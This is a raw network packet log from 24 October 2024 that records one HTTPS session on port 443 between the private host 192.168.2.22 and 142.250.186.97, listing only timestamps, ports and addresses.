Oct 24, 2024 08:59:13.251918077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.252152920 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.252228022 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.252240896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.252981901 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.253065109 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.253077984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.253787994 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.253854990 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.253868103 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.258181095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.258248091 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.258264065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.258383036 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.258447886 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.258460999 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.267513990 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.267596006 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.267611027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.277415991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.277503014 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.277518988 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.284712076 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.284794092 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.284811020 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.293772936 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.293853998 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.293868065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.308044910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.308124065 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.308137894 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.369226933 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.369319916 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.369343042 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.369465113 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.369510889 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.369517088 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.369975090 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.370018959 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.370023966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.370592117 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.370636940 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.370642900 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.371563911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.371618986 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.371624947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.372852087 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.372926950 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.375153065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.384197950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.384260893 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.384270906 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.384459019 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.384530067 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.384535074 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.387197018 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.387257099 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.394370079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.401654005 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.401731014 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.401740074 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.410366058 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.410459042 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.410469055 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.424921989 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.425024033 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.425066948 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.425316095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.425374985 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.425386906 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.486200094 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.486341953 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.486371994 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.486438036 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.486531019 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.486548901 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.487413883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.487473965 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.487488031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.488270044 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.488333941 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.488348007 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.488475084 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.488486052 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.492597103 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.492676973 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.492690086 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.492857933 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.492909908 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.492922068 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.501509905 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.501585007 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.501600027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.511674881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.511751890 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.511770010 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.512816906 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.516809940 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.518502951 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.527601004 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.527682066 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.527697086 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.542387962 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.542550087 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.542576075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.542608976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.542654991 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.542748928 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.543699026 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.543754101 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.543782949 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.603380919 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.603518963 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.603543997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.603630066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.603704929 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.603765011 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.604569912 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.604633093 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.604661942 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.604896069 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.604959965 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.604974031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.605931044 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.605983973 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.605998039 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.609637976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.609735966 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.609750032 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.618938923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.619009018 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.619021893 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.629160881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.629244089 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.629257917 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.635989904 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.636080980 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.636106968 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.645245075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.645323992 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.645342112 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.655685902 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.655699015 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.659595013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.659688950 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.659696102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.659728050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.659774065 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.659816027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.660701990 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.660773039 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.660788059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.720659018 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.720768929 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.720971107 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.721019983 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.721049070 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.721086979 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.721750975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.721844912 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.721877098 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.722162962 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.722237110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.722251892 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.723021984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.723143101 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.723155975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.727051973 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.727127075 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.727138996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.735847950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.735924959 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.735938072 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.745445967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.745517015 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.745528936 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.752688885 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.752758026 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.752769947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.761509895 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.761579037 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.761594057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.776613951 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.776762009 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.776781082 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.776853085 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.776911974 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.776930094 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.777061939 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.777120113 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.777133942 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.778450966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.778522015 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.778536081 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.837694883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.837821960 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.837862968 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.837925911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.838010073 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.838027954 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.838762045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.838840008 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.838852882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.839418888 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.839483976 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.839498043 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.840190887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.840256929 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.840270996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.843800068 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.843923092 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.843931913 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.843962908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.844080925 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.853105068 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.863038063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.863116026 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.863131046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.870220900 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.870290995 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.870304108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.878810883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.878889084 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.878901958 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.893456936 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.893544912 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.893556118 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.894018888 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.894082069 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.894088984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.894721985 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.894778967 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.894784927 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.895442963 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.895500898 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.895507097 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.954665899 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.954771042 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.954777956 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.954900026 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.954961061 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.954967976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.955574989 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.955635071 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.955641031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.956469059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.956535101 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.956542015 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.956681967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.956742048 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.956749916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.957320929 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.957381010 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.957387924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.961153030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.961215019 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.961220980 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.970144987 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.970258951 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.970264912 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.980241060 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.980359077 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.980365992 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.987423897 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.987499952 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.987513065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.996748924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.996826887 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.996840954 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.011341095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.011440992 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.011503935 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.011569023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.011641026 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.011658907 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.012325048 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.012402058 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.012415886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.012700081 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.012774944 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.012789011 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.013665915 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.013735056 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.013747931 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.072066069 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.072200060 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.072232962 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.072298050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.072381973 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.072400093 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.072555065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.072635889 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.072649002 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.073601961 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.073679924 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.073693991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.074490070 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.074561119 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.074573994 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.078614950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.078686953 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.078700066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.087398052 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.087476969 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.087490082 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.087694883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.087764025 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.087776899 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.097223043 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.097290039 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.097302914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.104402065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.104476929 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.104489088 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.113687992 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.113801956 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.113814116 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.128395081 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.128467083 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.128479958 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.128634930 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.128703117 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.128715992 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.129385948 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.129446030 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.129457951 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.129673958 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.129740000 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.129751921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.130412102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.130487919 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.130500078 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.188908100 CEST	443	49167	142.250.186.97	192.168.2.22
